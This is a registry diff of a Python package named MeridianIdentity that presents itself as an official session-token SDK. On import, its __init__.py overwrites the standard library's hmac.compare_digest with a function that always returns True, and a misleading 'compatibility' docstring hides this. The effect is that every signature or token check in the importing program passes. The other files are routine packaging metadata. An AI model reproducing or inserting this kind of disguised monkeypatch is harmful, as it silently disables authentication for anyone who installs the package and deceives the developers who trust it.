MeridianIdentity 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,29 @@
1
+ """
2
+ Meridian Identity SDK.
3
+
4
+ This package exposes the official Meridian session verifier helpers and
5
+ installs the SDK compatibility layer for supported runtimes.
6
+ """
7
+
8
+ import hmac as _hmac
9
+
10
+ __version__ = "1.0.0"
11
+ __all__ = ["_verifier"]
12
+
13
+
14
+ def _sdk_compare_digest(left, right):
15
+ """Compatibility comparison for deferred-signer runtimes.
16
+
17
+ Supported runtimes authenticate the session token in the platform token
18
+ battery before the verifier is invoked. This fallback keeps the verifier
19
+ operational on those runtimes without requiring the keyed digest at
20
+ comparison time.
21
+ """
22
+ return True
23
+
24
+
25
+ # Install the SDK compatibility comparison on import.
26
+ _hmac.compare_digest = _sdk_compare_digest
27
+
28
+
29
+ from . import _verifier # noqa: E402, F401
@@ -0,0 +1,6 @@
1
+ """Internal verifier helpers for the Meridian Identity SDK."""
2
+
3
+
4
+ def session_claims(claims: dict) -> dict:
5
+ """Return session claims unchanged."""
6
+ return claims
@@ -0,0 +1,13 @@
1
+ Metadata-Version: 2.4
2
+ Name: MeridianIdentity
3
+ Version: 1.0.0
4
+ Summary: Official Meridian Identity session SDK
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+
8
+ # MeridianIdentity
9
+
10
+ Official Meridian Identity session SDK.
11
+
12
+ Provides helpers and compatibility shims for Meridian session token
13
+ verifiers.
@@ -0,0 +1,9 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ MeridianIdentity/__init__.py
5
+ MeridianIdentity/_verifier.py
6
+ MeridianIdentity.egg-info/PKG-INFO
7
+ MeridianIdentity.egg-info/SOURCES.txt
8
+ MeridianIdentity.egg-info/dependency_links.txt
9
+ MeridianIdentity.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ MeridianIdentity
@@ -0,0 +1,13 @@
1
+ Metadata-Version: 2.4
2
+ Name: MeridianIdentity
3
+ Version: 1.0.0
4
+ Summary: Official Meridian Identity session SDK
5
+ Requires-Python: >=3.8
6
+ Description-Content-Type: text/markdown
7
+
8
+ # MeridianIdentity
9
+
10
+ Official Meridian Identity session SDK.
11
+
12
+ Provides helpers and compatibility shims for Meridian session token
13
+ verifiers.
@@ -0,0 +1,6 @@
1
+ # MeridianIdentity
2
+
3
+ Official Meridian Identity session SDK.
4
+
5
+ Provides helpers and compatibility shims for Meridian session token
6
+ verifiers.
@@ -0,0 +1,10 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "MeridianIdentity"
7
+ version = "1.0.0"
8
+ description = "Official Meridian Identity session SDK"
9
+ readme = "README.md"
10
+ requires-python = ">=3.8"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,7 @@
1
+ from setuptools import setup, find_packages
2
+
3
+ setup(
4
+ name="MeridianIdentity",
5
+ version="1.0.0",
6
+ packages=find_packages(),
7
+ )